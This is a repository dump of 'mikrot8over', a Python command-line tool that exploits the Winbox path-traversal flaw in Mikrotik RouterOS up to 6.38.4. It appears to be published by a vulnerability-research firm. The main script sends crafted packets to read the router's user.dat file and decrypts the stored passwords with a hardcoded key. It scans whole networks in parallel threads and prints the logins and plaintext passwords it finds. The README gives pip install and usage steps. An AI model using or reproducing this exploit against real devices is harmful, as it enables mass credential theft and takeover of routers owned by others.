├── .gitignore ├── mikrot8over ├── __init__.py └── mikrot8over.py ├── LICENSE ├── setup.py └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | *.egg-info/ 3 | build/ 4 | dist/ 5 | .idea/.gitignore 6 | .idea/inspectionProfiles/ 7 | .idea/mikrot8over.iml 8 | .idea/misc.xml 9 | .idea/modules.xml 10 | .idea/vcs.xml 11 | -------------------------------------------------------------------------------- /mikrot8over/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['mikrot8over'] 2 | __author__ = "Kir Ermakov " 3 | __copyright__ = "Copyright 2020, Vulners" 4 | __credits__ = ["Kir Ermakov"] 5 | __license__ = "MIT" 6 | __maintainer__ = "Kir Ermakov" 7 | __email__ = "isox@vulners.com" 8 | __status__ = "Release" 9 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Vulners Team 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # VULNERS OPENSOURCE 5 | # __________________ 6 | # 7 | # Vulners Project [https://vulners.com] 8 | # All Rights Reserved. 9 | # 10 | __author__ = "Kir Ermakov " 11 | 12 | import re 13 | from setuptools import setup 14 | 15 | version = re.search(r'__version__\s*=\s*"(.+)"', open('mikrot8over/mikrot8over.py', 'rt').read()).group(1) 16 | 17 | 18 | long_description = ''' 19 | mikrot8over 20 | ========= 21 | 22 | Command line Mikrotik exploitation tool. 23 | It's using Mikrotik exploit from Vault 7 CIA Leaks automation tool 24 | Takeovers up to RouterOS 6.38.4. 25 | ''' 26 | 27 | setup( 28 | name='mikrot8over', 29 | packages=['mikrot8over'], 30 | version=version, 31 | description='Command line Mikrotik exploitation tool for RouterOS up to 6.38.4', 32 | long_description=long_description, 33 | long_description_content_type="text/plain", 34 | license='MIT', 35 | url='https://github.com/vulnersCom/mikrot8over', 36 | author='Kir Ermakov', 37 | author_email='isox@vulners.com', 38 | maintainer="Kir Ermakov", 39 | entry_points={ 40 | 'console_scripts': [ 41 | 'mikrot8over = mikrot8over.mikrot8over:main', 42 | ] 43 | }, 44 | install_requires = [ 45 | 'six', 46 | 'texttable', 47 | 'tqdm', 48 | 'futures', 49 | 'ipcalc', 50 | ], 51 | classifiers=[ 52 | "Development Status :: 5 - Production/Stable", 53 | "Environment :: Console", 54 | "Intended Audience :: Information Technology", 55 | "License :: OSI Approved :: MIT License", 56 | "Programming Language :: Python :: 2.6", 57 | "Programming Language :: Python :: 2.7", 58 | "Programming Language :: Python :: 3.6", 59 | "Programming Language :: Python :: 3.7", 60 | "Programming Language :: Python :: 3.8", 61 | "Topic :: Security", 62 | ] 63 | ) 64 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mikrot8over 2 | mikrot8over: Fast exploitation tool for Mikrotik RouterOS up to 6.38.4 3 | 4 | [![Current Release](https://img.shields.io/github/release/vulnersCom/mikrot8over.svg "Current Release")](https://github.com/vulnersCom/mikrot8over/releases/latest) 5 | 6 | # Description 7 | This is reworked original [Mikrotik Exploit](https://github.com/miladdiaz/MikrotikExploit). 8 | Added Python 2 compatibility and multithreading scan features. 9 | 10 | # Python version 11 | Utility was tested on a *python2.6*, *python2.7*, *python3.** 12 | If you have found any bugs, don't hesitate to open issue 13 | 14 | # How to install 15 | 16 | `pip install mikrot8over` 17 | 18 | 19 | # Scan and exploit 20 | ``` 21 | # pip install mikrot8over 22 | # mikrot8over 127.0.0.1 23 | Starting scan for IP 127.0.0.1, port 8291 running in 10 threads 24 | 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:00<00:00, 3379.78it/s] 25 | +----------------------+--------------------------------+------------------------------------------------------------------------------------------------------+ 26 | | IP | Login | Password | 27 | +======================+================================+======================================================================================================+ 28 | 127.0.0.1 admin admin 29 | +----------------------+--------------------------------+------------------------------------------------------------------------------------------------------+ 30 | ``` 31 | 32 | # Performance tuning 33 | 34 | You can set max threads and socket timeout for large networks scan 35 | 36 | ``` 37 | # pip install mikrot8over 38 | # mikrot8over --help 39 | Usage: 40 | Mikrotik exploit from Vault 7 CIA Leaks automation tool 41 | Takeovers up to RouterOS 6.38.4. 42 | 43 | Usage: mikrot8over IP_ADDRESS 44 | 45 | 46 | Options: 47 | -h, --help show this help message and exit 48 | -p PORT, --port=PORT List of the port to scan. Default is 8291 49 | -t THREADS, --threads=THREADS 50 | Number of scan threads. Default is 10 that fits the 51 | most of systems 52 | -o TIMEOUT, --timeout=TIMEOUT 53 | Socket connection timeout``` -------------------------------------------------------------------------------- /mikrot8over/mikrot8over.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # VULNERS OPENSOURCE 5 | # __________________ 6 | # 7 | # Vulners Project [https://vulners.com] 8 | # All Rights Reserved. 9 | # 10 | # Exploit Title: Mikrotik exploit from Vault 7 CIA Leaks automation tool. Takeovers up to RouterOS 6.38.4. 11 | # Date: 2020-09-28 12 | # Exploit Author: Kir Ermakov (isox@vulners.com) 13 | # Vendor Homepage: https://vulners.com 14 | # Version: 1.0 15 | # Credits & Copyright: https://github.com/miladdiaz/MikrotikExploit 16 | 17 | __author__ = "Kir Ermakov " 18 | __version__ = "1.1" 19 | 20 | import texttable 21 | import socket 22 | import ipcalc 23 | import six 24 | import hashlib 25 | import concurrent.futures 26 | from tqdm import tqdm 27 | 28 | if six.PY2: 29 | import argparse 30 | else: 31 | from optparse import OptionParser as argparse 32 | 33 | 34 | def decrypt_password(user, pass_enc): 35 | key = hashlib.md5(user + b"283i4jfkai3389").digest() 36 | if six.PY2: 37 | key = bytearray(key) 38 | passw = "" 39 | for i in range(0, len(pass_enc)): 40 | passw += chr(pass_enc[i] ^ key[i % len(key)]) 41 | return passw.split("\x00")[0] 42 | 43 | 44 | def extract_user_pass_from_entry(entry): 45 | user_data = entry.split(b"\x01\x00\x00\x21")[1] 46 | pass_data = entry.split(b"\x11\x00\x00\x21")[1] 47 | user_len = user_data[0] 48 | pass_len = pass_data[0] 49 | username = user_data[1:1 + user_len] 50 | password = pass_data[1:1 + pass_len] 51 | 52 | return username, password 53 | 54 | 55 | def get_pair(data): 56 | user_list = [] 57 | entries = data.split(b"M2")[1:] 58 | 59 | for entry in entries: 60 | try: 61 | user, pass_encrypted = extract_user_pass_from_entry(entry) 62 | pass_plain = decrypt_password(user, pass_encrypted) 63 | user = user.decode("ascii") 64 | except UnicodeDecodeError: 65 | user = "cannot decode" 66 | pass_plain = "cannot decode" 67 | except: 68 | continue 69 | user_list.append((user, pass_plain)) 70 | return user_list 71 | 72 | 73 | def dump(data): 74 | user_pass = get_pair(data) 75 | user_data = [] 76 | for u, p in user_pass: 77 | user_data.append((u, p)) 78 | return user_data 79 | 80 | 81 | def scan_target(ip_address, port, timeout): 82 | hello = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 83 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 84 | 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 85 | 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 86 | 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 87 | 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 88 | 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 89 | 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 90 | 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 91 | 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 92 | 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 93 | 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 94 | 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 95 | 0x00, 0x00] 96 | 97 | get_data = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 98 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 99 | 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 100 | 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 101 | 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 102 | 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 103 | 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 104 | 0x00, 0x02, 0x00, 0x00, 0x00] 105 | 106 | _socket = socket.socket() 107 | _socket.settimeout(timeout) 108 | 109 | scan_results = None 110 | 111 | try: 112 | _socket.connect((ip_address, port)) 113 | hello = bytearray(hello) 114 | get_data = bytearray(get_data) 115 | 116 | # get sesison id 117 | _socket.send(hello) 118 | result = bytearray(_socket.recv(1024)) 119 | # copy session id 120 | get_data[19] = result[38] 121 | # Send Request 122 | _socket.send(get_data) 123 | result = bytearray(_socket.recv(1024)) 124 | # Get results 125 | user_data = dump(result[55:]) 126 | 127 | scan_results = { 128 | "ip_address": ip_address, 129 | "users": user_data 130 | } 131 | except Exception as error: 132 | pass 133 | finally: 134 | _socket.close() 135 | return scan_results 136 | 137 | 138 | def main(): 139 | description = """ 140 | Mikrotik exploit from Vault 7 CIA Leaks automation tool 141 | Takeovers up to RouterOS 6.38.4. 142 | 143 | Usage: mikrot8over IP_ADDRESS 144 | """ 145 | if six.PY2: 146 | parser = argparse.ArgumentParser(description) 147 | addArgumentCall = parser.add_argument 148 | else: 149 | parser = argparse(description) 150 | addArgumentCall = parser.add_option 151 | # 152 | if six.PY2: 153 | addArgumentCall('address', metavar='address', type=str, nargs=1, 154 | help='Scan address or IPv4 network in CIDR format') 155 | 156 | # Arguments 157 | addArgumentCall('-p', '--port', type=int, nargs="*", default=[8291], 158 | help='List of the port to scan. Default is 8291') 159 | addArgumentCall('-t', '--threads', nargs=1, type=int, default=10, 160 | help='Number of scan threads. Default is 10 that fits the most of systems') 161 | addArgumentCall('-o', '--timeout', nargs=1, type=float, default=0.3, 162 | help='Socket connection timeout') 163 | 164 | if six.PY2: 165 | options = parser.parse_args() 166 | address = " ".join(options.address) 167 | else: 168 | options, args = parser.parse_args() 169 | address = " ".join(args) 170 | 171 | ports = options.port 172 | threads = options.threads 173 | timeout = options.timeout 174 | 175 | if not address: 176 | print(description) 177 | print("No scan address provided. Exit.") 178 | exit() 179 | 180 | for port in ports: 181 | print("Starting scan for IP %s, port %s running in %s threads" % (address, port, threads)) 182 | 183 | try: 184 | targets = ipcalc.Network(address) 185 | scan_args = ((str(ip), port, timeout) for ip in targets) 186 | except ValueError as error: 187 | print("Failed to parse network address %s with %s error" % (address, error)) 188 | exit() 189 | 190 | with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: 191 | results = list(tqdm(executor.map(lambda p: scan_target(*p), scan_args), total=len(targets))) 192 | 193 | output_table = texttable.Texttable() 194 | output_table.set_cols_dtype(['t', 't', 't']) 195 | output_table.set_cols_align(['c', 'l', 'c']) 196 | output_table.set_cols_width(['20', '30', '100']) 197 | table_rows = [['IP', 'Login', 'Password']] 198 | 199 | vulnerable_results = [result for result in results if result and result['users']] 200 | 201 | for data in vulnerable_results: 202 | for credentials in data['users']: 203 | if credentials[1]: 204 | table_rows.append([data["ip_address"], credentials[0], credentials[1]]) 205 | output_table.add_rows(table_rows) 206 | if not six.PY3: 207 | # Just pass non-ascii 208 | print(output_table.draw().encode('ascii', 'ignore')) 209 | else: 210 | # Any better solution here? 211 | print(output_table.draw().encode('ascii', 'ignore').decode()) 212 | 213 | if __name__ == '__main__': 214 | main() --------------------------------------------------------------------------------